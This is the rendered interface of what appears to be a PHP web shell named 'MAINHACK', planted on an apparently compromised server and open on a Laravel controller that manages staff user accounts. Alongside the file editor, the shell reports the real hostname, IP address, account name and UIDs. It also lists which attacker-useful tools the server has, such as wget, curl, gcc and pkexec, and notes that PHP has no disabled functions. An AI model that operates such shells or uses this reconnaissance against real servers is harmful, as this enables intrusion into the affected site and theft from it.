[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AcnooUserController.php
<?php namespace App\Http\Controllers\Api; use App\Http\Controllers\Controller; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; class AcnooUserController extends Controller { /** * Display a listing of the resource. */ public function index() { $data = User::where('business_id', auth()->user()->business_id)->where('role', 'staff')->latest()->get(); return response()->json([ 'message' => __('Data fetched successfully.'), 'data' => $data, ]); } /** * Store a newly created resource in storage. */ public function store(Request $request) { $request->validate([ 'name' => 'required|max:30', 'password' => 'required|min:4|max:15', 'email' => 'required|email|unique:users,email', ]); $data = User::create([ 'role' => 'staff', 'name' => $request->name, 'email' => $request->email, 'password' => Hash::make($request->password), 'business_id' => auth()->user()->business_id, 'visibility' => [ 'dashboardPermission' => $request->dashboardPermission == 'true' ? true : false, 'addExpensePermission' => $request->addExpensePermission == 'true' ? true : false, 'dueListPermission' => $request->dueListPermission == 'true' ? true : false, 'lossProfitPermission' => $request->lossProfitPermission == 'true' ? true : false, 'partiesPermission' => $request->partiesPermission == 'true' ? true : false, 'productPermission' => $request->productPermission == 'true' ? true : false, 'profileEditPermission' => $request->profileEditPermission == 'true' ? true : false, 'purchaseListPermission' => $request->purchaseListPermission == 'true' ? true : false, 'purchasePermission' => $request->purchasePermission == 'true' ? true : false, 'reportsPermission' => $request->reportsPermission == 'true' ? true : false, 'salePermission' => $request->salePermission == 'true' ? true : false, 'salesListPermission' => $request->salesListPermission == 'true' ? true : false, 'stockPermission' => $request->stockPermission == 'true' ? true : false, 'addIncomePermission' => $request->addIncomePermission == 'true' ? true : false, ] ]); return response()->json([ 'message' => __('Data saved successfully.'), 'data' => $data, ]); } /** * Update the specified resource in storage. */ public function update(Request $request, User $user) { $request->validate([ 'name' => 'required|max:30', 'password' => 'nullable|min:4|max:15', 'email' => 'required|email|unique:users,email,' . $user->id, ]); $user->update([ 'name' => $request->name, 'email' => $request->email, 'password' => Hash::make($request->password), 'business_id' => auth()->user()->business_id, 'visibility' => [ 'dashboardPermission' => $request->dashboardPermission == 'true' ? true : false, 'addExpensePermission' => $request->addExpensePermission == 'true' ? true : false, 'dueListPermission' => $request->dueListPermission == 'true' ? true : false, 'lossProfitPermission' => $request->lossProfitPermission == 'true' ? true : false, 'partiesPermission' => $request->partiesPermission == 'true' ? true : false, 'productPermission' => $request->productPermission == 'true' ? true : false, 'profileEditPermission' => $request->profileEditPermission == 'true' ? true : false, 'purchaseListPermission' => $request->purchaseListPermission == 'true' ? true : false, 'purchasePermission' => $request->purchasePermission == 'true' ? true : false, 'reportsPermission' => $request->reportsPermission == 'true' ? true : false, 'salePermission' => $request->salePermission == 'true' ? true : false, 'salesListPermission' => $request->salesListPermission == 'true' ? true : false, 'stockPermission' => $request->stockPermission == 'true' ? true : false, 'addIncomePermission' => $request->addIncomePermission == 'true' ? true : false, ] ]); return response()->json([ 'message' => __('Data saved successfully.') ]); } /** * Remove the specified resource from storage. */ public function destroy(User $user) { $user->delete(); return response()->json([ 'message' => __('Data deleted successfully.'), ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002